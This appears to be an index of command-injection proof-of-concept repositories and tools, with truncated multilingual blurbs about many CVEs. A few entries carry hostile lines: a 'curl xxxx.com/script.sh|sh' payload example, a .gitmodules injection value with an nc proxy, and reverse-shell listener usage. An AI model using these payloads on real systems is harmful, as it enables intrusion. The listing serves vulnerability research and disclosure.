CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Remote-Command-Execution ZeroShell 3.9.0 Inyección remota de comandos ZeroShell 3.9.0 es propenso a una vulnerabilidad de ejecución remota de comandos. Específicamente, este problema ocurre porque la aplicación web maneja incorrectamente algunos parámetros HTTP. Un atacante no...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2024-8190-unauth

CVE-2024-8190 no autenticado Descripción Combinando CVE-2024-8963 & CVE-2024-8190 - PoC para RCE no autenticado en Ivanti CSA 4.6 y anteriores. CVE-2024-8963 Path Traversal en Ivanti CSA anterior al parche 519 de la versión 4.6 permite a un atacante remoto no autenticado acceder a funcionalidades...

CVE-2016-2434

CVE-2016-2434...

CVE-2023-51385_test

验证CVE-2023-51385 首先需要在/.ssh/config中增加如下内容 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules文件语句中存在命令注入 url = ssh://echo helloworld cve.txtfoo.example.com/bar 配置完成后,执行下面的指令触发 git clone https://github.com/LtmThink/CVE-2023-51385test --recurse-submodules...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1 中 enableuser 函数的无认证命令注入 使用方法： 首先启动一个监听器（ncat -nvlp 1337） 然后运行漏洞利用脚本 示例：exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='用于利用的主机，例如 192.168.1.122:8080', required=True '-l', '--listener-ip', help='监听器 IP', required=True '-p', '--port',...

Bughound

Bughound 是什么？ Bughound 是一款开源的静态代码分析工具，能够分析你的代码并将结果发送到 Elasticsearch 和 Kibana，从而让你获得代码中潜在漏洞的有用洞察。 Bughound 自带预配置的 Elasticsearch 和 Kibana Docker 镜像，其中包含为你发现的结果量身定制的仪表板。 你可以检测多种类型的漏洞，例如： 命令注入 XXE 不安全的反序列化 以及更多！ 目前 Bughound 能够分析 PHP 和 JAVA 代码，并包含这些语言的一组危险函数。 随着时间推移，我会确保不断添加更多函数/语言的支持，但目前主要精力放在项目的稳定性上...

EUVD-2026-94119

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command...

CVE-2021-38817-Remote-OS-Command-Injection

CVE-2021-38817-Inyección-remota-de-comandos-del-SO Inyección remota de comandos del sistema operativo autenticada/Ejecución remota de código en la parte web Sendmail de TastyIgniter v3.0.7 CVE-2021-38817 Existe una vulnerabilidad de inyección remota de comandos del sistema operativo autenticada e...

CVE-2020-11851

CVE-2020-11851 Vulnerabilidad de ejecución remota de código en ArcSight Logger a través de ArcSight Management Center https://nvd.nist.gov/vuln/detail/CVE-2020-11851 Resumen Ejecutivo Antecedentes de la vulnerabilidad ArcSight Logger es una solución integral de gestión de registros que facilita e...

cve-2025-50428

CVE-2025-50428 - Inyección de Comandos en RaspAP Una prueba de concepto PoC para CVE-2025-50428, una vulnerabilidad de inyección de comandos en RaspAP raspap-webgui 3.2.9 y versiones anteriores. ID de Vulnerabilidad| CVE-2025-50428 ---|--- Severidad| Alta CVSS 3.1: 8.6 Vector CVSS|...

CVE-2024-0507_CVE-2024-0200-github

简介 此仓库包含我们为GitHub Enterprise漏洞CVE-2024-0507和CVE-2024-0200开发的利用程序。 查看完整文章：https://blog.convisoappsec.com/en/analysis-of-github-enterprise-vulnerabilities-cve-2024-0507-cve-2024-0200/ CVE-2024-0507 GitHub Enterprise Server 管理控制台中的代码注入导致权限提升 . CVE-2024-0200 GitHub Enterprise Server 中的不安全反射导致命令注入...

overkill

Overkill Overkill es un exploit para una vulnerabilidad parcheada que afecta a QNAP QTS. Debido a la forma en que QNAP divulga las vulnerabilidades, no estoy seguro de si este problema tiene un CVE o no. Sin embargo, probablemente fue parcheado en noviembre de 2020 y abril de 2021. El n-day fue...

CVE-2024-41570-Havoc-C2-RCE

Havoc-C2-RCE CVE-2024-41570 Este es un RCE encadenado CVE-2024-41570 en el framework Havoc C2. Inyección de comandos: Havoc es vulnerable a la inyección de comandos, lo que permite a un usuario autenticado ejecutar comandos en el Teamserver. Afecta a las versiones 0.3 hasta la última versión 0.6...

UniPwn

Análisis de Inyección de Comandos en el Servicio BLE del Robot Unitree Autor: Bin4ry aka Andreas Makris [email protected] Coautor: h0stile aka Kevin Finisterre Colaborador: legion1581 aka Konstantin Severov de theroboverse ayudó a corregir el payload para la inyección y lo demostró con un Po...

CVE-2023-1389

Descripción CVE-2023–1389 es una vulnerabilidad de inyección de comandos no autenticada en el router WiFi TP-Link Archer AX21. Una devolución de llamada en el parámetro country utiliza la función popen , que se ejecuta como root, lo que permite al atacante inyectar valores arbitrarios a través de...

opentsdb_key_cmd_injection

opentsdbkeycmdinjection Un exploit para OpenTSDB = 2.4.1 con inyección de comandos CVE-2023-36812/CVE-2023-25826 escrito en Fortran Acerca de Este es un exploit para una vulnerabilidad de inyección de comandos en OpenTSDB versiones 2.4.1 y anteriores CVE-2023-36812/CVE-2023-25826. El exploit está...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Este es solo un script de conveniencia que escribí para pruebas. Salida Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an ima...

CVE-2022-45025

CVE-2022-45025 Inyección de comandos a través de la importación de PDF en Markdown Preview Enhanced VSCode, Atom Descripción La librería de herramientas Markdown Mume era vulnerable a inyección de comandos debido al uso del comando spawn con la opción shell: true. Esto podría permitir a un atacan...